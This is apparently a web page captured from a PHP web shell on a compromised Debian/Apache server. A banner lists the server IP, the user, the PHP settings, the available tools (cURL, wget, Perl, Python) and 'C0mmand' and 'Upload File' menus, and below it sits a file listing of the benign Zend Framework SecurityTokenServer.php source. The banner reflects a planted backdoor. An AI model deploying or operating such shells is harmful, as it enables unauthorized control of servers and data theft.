|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/baltic/../leksykografia/library/Zend/Service/DeveloperGarden/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@zend.com so we can send you a copy immediately.
*
* @category Zend
* @package Zend_Service
* @subpackage DeveloperGarden
* @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
* @version $Id: SecurityTokenServer.php 20166 2010-01-09 19:00:17Z bkarwin $
*/
/**
* @see Zend_Service_DeveloperGarden_SecurityTokenServer_Cache
*/
require_once 'Zend/Service/DeveloperGarden/SecurityTokenServer/Cache.php';
/**
* @see Zend_Service_DeveloperGarden_Client_ClientAbstract
*/
require_once 'Zend/Service/DeveloperGarden/Client/ClientAbstract.php';
/**
* @see Zend_Service_DeveloperGarden_Response_SecurityTokenServer_SecurityTokenResponse
*/
require_once 'Zend/Service/DeveloperGarden/Response/SecurityTokenServer/SecurityTokenResponse.php';
/**
* @see Zend_Service_DeveloperGarden_Response_SecurityTokenServer_GetTokensResponse
*/
require_once 'Zend/Service/DeveloperGarden/Response/SecurityTokenServer/GetTokensResponse.php';
/**
* @category Zend
* @package Zend_Service
* @subpackage DeveloperGarden
* @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
* @author Marco Kaiser
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
class Zend_Service_DeveloperGarden_SecurityTokenServer
extends Zend_Service_DeveloperGarden_Client_ClientAbstract
{
/**
* wsdl file
*
* @var string
*/
protected $_wsdlFile = 'https://sts.idm.telekom.com/TokenService?wsdl';
/**
* wsdl file local
*
* @var string
*/
protected $_wsdlFileLocal = 'Wsdl/TokenService.wsdl';
/**
* Response, Request Classmapping
*
* @var array
*
*/
protected $_classMap = array(
'SecurityTokenResponse' => 'Zend_Service_DeveloperGarden_Response_SecurityTokenServer_SecurityTokenResponse',
'getTokensResponse' => 'Zend_Service_DeveloperGarden_Response_SecurityTokenServer_GetTokensResponse'
);
/**
* does the login and return the specific response
*
* @return Zend_Service_DeveloperGarden_Response_SecurityTokenServer_SecurityTokenResponse
*/
public function getLoginToken()
{
$token = Zend_Service_DeveloperGarden_SecurityTokenServer_Cache::getTokenFromCache(
'securityToken'
);
if ($token === null
|| !$token->isValid()
) {
$token = $this->getSoapClient()->login('login');
Zend_Service_DeveloperGarden_SecurityTokenServer_Cache::setTokenToCache(
'securityToken',
$token
);
}
return $token;
}
/**
* returns the fetched token from token server
*
* @return Zend_Service_DeveloperGarden_Response_SecurityTokenServer_GetTokensResponse
*/
public function getTokens()
{
$token = Zend_Service_DeveloperGarden_SecurityTokenServer_Cache::getTokenFromCache(
'getTokens'
);
if ($token === null
|| !$token->isValid()
) {
$token = $this->getSoapClient()->getTokens(array(
'serviceId' => $this->_serviceAuthId
));
Zend_Service_DeveloperGarden_SecurityTokenServer_Cache::setTokenToCache(
'getTokens',
$token
);
}
return $token;
}
}